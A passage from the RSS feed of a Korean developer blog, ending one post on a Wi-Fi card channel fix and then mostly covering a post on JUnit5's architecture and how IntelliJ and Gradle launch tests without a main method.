data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;5GHz 와이파이 연결 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1562&quot; data-start=&quot;1551&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;  마무리&lt;/span&gt;&lt;/h2&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;8812BU 무선 랜카드의 와이파이 채널 호환 문제였다. 변경하니 너무 잘 동작한다.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;GPT 딸깍인 것 같지만, 이렇게 기록으로 남기면서 공부하면 그거 자체로 의미가 있는거 아닐까 라는 생각(정신 승리)을 해본다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025.09.06일에 결혼식을 치르면서 이것저것 하느라 블로그 글은 너무 오랜만이다. 다시 열심히해보자 !!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Network</category>
      <category>GPT</category>
      <category>Realtek 8812BU</category>
      <category>UNII 대역</category>
      <category>wifi</category>
      <category>WIFI 5G</category>
      <category>WIFI 5GHz</category>
      <category>네트워크</category>
      <category>데스크탑</category>
      <category>무선 LAN 카드</category>
      <category>와이파이 채널</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/363</guid>
      <comments>https://devdebin.tistory.com/363#entry363comment</comments>
      <pubDate>Fri, 10 Oct 2025 22:32:22 +0900</pubDate>
    </item>
    <item>
      <title>Junit5 구조와 아키텍처 (with Junit이 main 없이 동작하는 이유)</title>
      <link>https://devdebin.tistory.com/362</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;개발 환경: IntelliJ 2024.3.1.1(Ultimate), JDK 21, Gradle 8.13&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;IntelliJ IDEA 환경과 Gradle 환경에서 Junit 살펴보기&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 개발자들이 Junit을 사용하면서 스쳐지나갔을 main 함수가 없는데 Junit이 동작할 수 있는 이유에 대해 알아보고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 인텔리제이에서 Build And Run 설정을 IntelliJ IDEA로 설정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8ITFL/btsM98wAPAp/FFnPg7EKfpcyBhGKPIvJ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8ITFL/btsM98wAPAp/FFnPg7EKfpcyBhGKPIvJ80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8ITFL/btsM98wAPAp/FFnPg7EKfpcyBhGKPIvJ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8ITFL%2FbtsM98wAPAp%2FFFnPg7EKfpcyBhGKPIvJ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;199&quot; data-origin-width=&quot;571&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 간단한 테스트 코드를 바로 프로파일링을 해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;311&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5pGAe/btsM9998QSC/gK7m9Z5k3gDLKWKmV3RUb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5pGAe/btsM9998QSC/gK7m9Z5k3gDLKWKmV3RUb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5pGAe/btsM9998QSC/gK7m9Z5k3gDLKWKmV3RUb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5pGAe%2FbtsM9998QSC%2FgK7m9Z5k3gDLKWKmV3RUb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;311&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;311&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 com.intellij.rt.junit.JunitStarter.main 메서드가 제일 먼저 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 Build And Run 설정을 Gradle로 설정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;195&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8rrf9/btsNaJiwDdg/t1Nn0kIId5a0KkG6ektQdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8rrf9/btsNaJiwDdg/t1Nn0kIId5a0KkG6ektQdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8rrf9/btsNaJiwDdg/t1Nn0kIId5a0KkG6ektQdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8rrf9%2FbtsNaJiwDdg%2Ft1Nn0kIId5a0KkG6ektQdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;195&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;195&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 다시 프로파일링을 진행해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;567&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tcCJT/btsNac6LlGA/BUmE6q4KOvEktwwE1kfoSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tcCJT/btsNac6LlGA/BUmE6q4KOvEktwwE1kfoSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tcCJT/btsNac6LlGA/BUmE6q4KOvEktwwE1kfoSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtcCJT%2FbtsNac6LlGA%2FBUmE6q4KOvEktwwE1kfoSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;542&quot; height=&quot;499&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;567&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 제일 먼저 호출되는 코드는 GradleWorkerMain.main() 메서드다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 결론은 &quot;IDE와 build tool인 gradle이 대신 실행시켜준다.&quot; 지만 이렇게 마무리하면 너무나도 허무하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 JUnit 실행 로직을 살펴보려고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 해당 글을 작성한 이유는 토비님의 아래 영상을 따라하면서 Junit3에 대한 구조를 어느 부분 학습하면서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Junit5를 깊게 더 살펴보고 싶기 때문이다.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=tdKFZcZSJmg&amp;amp;t=348s&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.youtube.com/watch?v=tdKFZcZSJmg&amp;amp;t=348s&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=tdKFZcZSJmg&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/qTuIT/hyYA9J5WyJ/kWv0qV9Sj9Z5ipbYi4QIK1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/bOiiuf/hyYCifxnYp/fKrjkkklJbkDZ0cIijjR30/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;xUnit 테스팅 프레임워크를 TDD로 만들어보자&quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/tdKFZcZSJmg&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 시작해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Gradle, IntelliJ IDEA로 실행하면서 공통되는 부분을 먼저 찾아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2548&quot; data-origin-height=&quot;1374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rZsIk/btsM9zPc6zn/dkaukiXWMIctFFaZ96gCl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rZsIk/btsM9zPc6zn/dkaukiXWMIctFFaZ96gCl1/img.png&quot; data-alt=&quot;왼쪽 사진은 Gradle, 오른쪽은 IntelliJ IDEA&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rZsIk/btsM9zPc6zn/dkaukiXWMIctFFaZ96gCl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrZsIk%2FbtsM9zPc6zn%2FdkaukiXWMIctFFaZ96gCl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2548&quot; height=&quot;1374&quot; data-origin-width=&quot;2548&quot; data-origin-height=&quot;1374&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;왼쪽 사진은 Gradle, 오른쪽은 IntelliJ IDEA&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노란색 사각형부터 본격적인 공통 Junit 로직이 돌아가고 그 아래 부분은 호출하는 클래스 차이가 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 차이부터 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 얼티밋이 아닌 깃허브의 공개된 인텔리제이 커뮤니티 IDE 기준으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Junit5IdeaTestRunner는 Util 클래스를 활용해 테스트 진행할 파일을 읽어 LauncherDiscoveryRequest 객체를 만들어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Junit5의 Launcher에게 전달해 실행할 테스트를 결정하는데 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1743771952051&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;intellij-community/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java at master &amp;middot; JetBrains/intellij-community&quot; data-og-description=&quot;IntelliJ IDEA Community Edition &amp;amp; IntelliJ Platform - JetBrains/intellij-community&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&quot; data-og-url=&quot;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cg5fYj/hyYBeYYmkw/hTUb9LH5htCKczt3YLsZWk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/mDWIh/hyYyJTpE6b/rESWkQFr43rdycO6GZ6Xdk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640&quot;&gt;&lt;a href=&quot;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/JetBrains/intellij-community/blob/master/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cg5fYj/hyYBeYYmkw/hTUb9LH5htCKczt3YLsZWk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640,https://scrap.kakaocdn.net/dn/mDWIh/hyYyJTpE6b/rESWkQFr43rdycO6GZ6Xdk/img.png?width=1280&amp;amp;height=640&amp;amp;face=0_0_1280_640');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;intellij-community/plugins/junit5_rt/src/com/intellij/junit5/JUnit5IdeaTestRunner.java at master &amp;middot; JetBrains/intellij-community&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;IntelliJ IDEA Community Edition &amp;amp; IntelliJ Platform - JetBrains/intellij-community&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Gradle도 동일하게 살펴보니 JUnitPlatformTestClassProcessor.CollectAllTestClassesExecutor 클래스가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;execute() 메서드를 기반으로 동일하게 LauncherDiscoveryRequest 만들어 Junit5의 Launcher에게 전달하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 Junit5은 LauncherDiscoveryRequest를 Launcher.exeucte를 기반으로 동작하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Junit5 아키텍쳐&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 JunitLauncher에 대해 찾아보다 다음과 같은 좋은 글을 발견하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nipafx.dev/junit-5-architecture-jupiter/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://nipafx.dev/junit-5-architecture-jupiter/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1743774659051&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;JUnit 5 Architecture or &amp;quot;What's Jupiter?&amp;quot; // nipafx&quot; data-og-description=&quot;The JUnit 5 architecture promotes a better separation of concerns than JUnit 4 did. It also provides clear APIs for testers (Jupiter) and tools (Platform).&quot; data-og-host=&quot;nipafx.dev&quot; data-og-source-url=&quot;https://nipafx.dev/junit-5-architecture-jupiter/&quot; data-og-url=&quot;https://nipafx.dev/junit-5-architecture-jupiter/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/fjeO2/hyYxNPtxOI/NLV8sE2vlnXdtNCyTKfsGk/img.jpg?width=2000&amp;amp;height=1418&amp;amp;face=0_0_2000_1418,https://scrap.kakaocdn.net/dn/t1sfl/hyYySbKQil/NOuntE2ca0KhrrzvVOpZi0/img.jpg?width=2000&amp;amp;height=1418&amp;amp;face=0_0_2000_1418&quot;&gt;&lt;a href=&quot;https://nipafx.dev/junit-5-architecture-jupiter/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://nipafx.dev/junit-5-architecture-jupiter/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/fjeO2/hyYxNPtxOI/NLV8sE2vlnXdtNCyTKfsGk/img.jpg?width=2000&amp;amp;height=1418&amp;amp;face=0_0_2000_1418,https://scrap.kakaocdn.net/dn/t1sfl/hyYySbKQil/NOuntE2ca0KhrrzvVOpZi0/img.jpg?width=2000&amp;amp;height=1418&amp;amp;face=0_0_2000_1418');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;JUnit 5 Architecture or &quot;What's Jupiter?&quot; // nipafx&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The JUnit 5 architecture promotes a better separation of concerns than JUnit 4 did. It also provides clear APIs for testers (Jupiter) and tools (Platform).&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;nipafx.dev&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #000000; text-align: left;&quot;&gt;Junit은 모든 기능이 하나의 아티팩트(artifact)에 번들로 제공되면서,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #000000; text-align: left;&quot;&gt;개발자, IDE, 빌드 도구, 다른 테스트 프레임워크 등이 모두 같은 아티팩트에 의존한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #000000; text-align: left;&quot;&gt;또한 IDE와 빌드 도구는 JUnit의 내부 구현에 깊이 의존하게 되었고, Junit 개발자들이 내부 구현을&amp;nbsp; 쉽게 변경할 수 없게 되었다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #000000; text-align: left;&quot;&gt;따라서 Juni5은 이런 문제를 해결하기 위해 개발되었다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관심사를 분리하면서 2가지의 관심사와 더 많은 하위 관심사로 분리되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;테스트를 작성하기 위한 API&lt;/li&gt;
&lt;li&gt;테스트를 발견하고 실행하는 메커니즘
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;특정 유형의 테스트를 발견하고 실행하는 메커니즘 (Junit Jupiter, Junit vintage)&lt;/li&gt;
&lt;li&gt;여러 특정 메커니즘을 조율하는 메커니즘 (Junit Platform Launcher)&lt;/li&gt;
&lt;li&gt;이들 사이의 API&amp;nbsp; (Junit Platform Engine API)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관심사가 분리되면서 도구로서의 JUnit(테스트를 작성할 때 사용)과 플랫폼으로서의 Junit(테스틀르 사용하는데 필요한)이 명확히 분리되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 따라 Junit5는 3개의 하위 프로젝트로 분리되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Junit Jupiter: 우리가 테스트를 작성할 때 사용하는 API와 이를 이해하기 위한 엔진(TestEngine 구현체)&lt;/li&gt;
&lt;li&gt;Junit Vintage: Junit 3과 4로 작성된 테스트를 Junit5에서 실행할 수 있게 해주는 엔진(TestEngine 구현체)&lt;/li&gt;
&lt;li&gt;Junit Platform
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;테스트를 발견하고 계획을 생성하는 TestEngine API를 포함하며, 해당 API를 사용하면 IDE(예: IntelliJ, Eclipse), 빌드 도구(예: Gradle, Maven)에서 JUnit 테스트 실행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 세분화하면 5개로 쪼갤 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;junit-jupiter-api
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자가 테스트를 작성하는 API. JUnit 5의 기본 사항에서 논의했던 모든 어노테이션, 단언(assertions) 등을 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;junit-jupiter-engine
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JUnit 5 테스트를 실행하는 junit-platform-engine API의 구현체&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;junit-vintage-engine
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JUnit 3 또는 4로 작성된 테스트를 실행하는 junit-platform-engine API의 구현체&lt;/li&gt;
&lt;li&gt;여기서 JUnit 4 아티팩트 junit-4.12는 개발자가 테스트를 구현하는 API로 작용하지만 테스트 실행 방법에 대한 주요 기능도 포함하며 이 엔진은 JUnit 3/4를 버전 5에 맞게 조정하는 어댑터로 볼 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;junit-platform-engine: 모든 테스트 엔진이 구현해야 하는 API로, 통일된 방식으로 접근할 수 있게 한다. 엔진은 일반적인 JUnit 테스트를 실행할 수도 있지만, 대안적으로 TestNG, Spock, Cucumber 등으로 작성된 테스트를 실행할 수도 있다.&lt;/li&gt;
&lt;li&gt;junit-platform-launcher: ServiceLoader를 사용하여 테스트 엔진 구현체를 발견하고 실행을 조율한다. IDE와 빌드 도구에 API를 제공하여 개별 테스트를 실행하고 결과를 표시하는 등의 테스트 실행과 상호 작용할 수 있게 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;608&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T9rTx/btsM9c7WTjd/hdkHAFiouUd5ZeIuKxofKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T9rTx/btsM9c7WTjd/hdkHAFiouUd5ZeIuKxofKk/img.png&quot; data-alt=&quot;junit 5 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T9rTx/btsM9c7WTjd/hdkHAFiouUd5ZeIuKxofKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT9rTx%2FbtsM9c7WTjd%2FhdkHAFiouUd5ZeIuKxofKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;526&quot; data-origin-width=&quot;608&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;junit 5 구조&lt;/figcaption&gt;
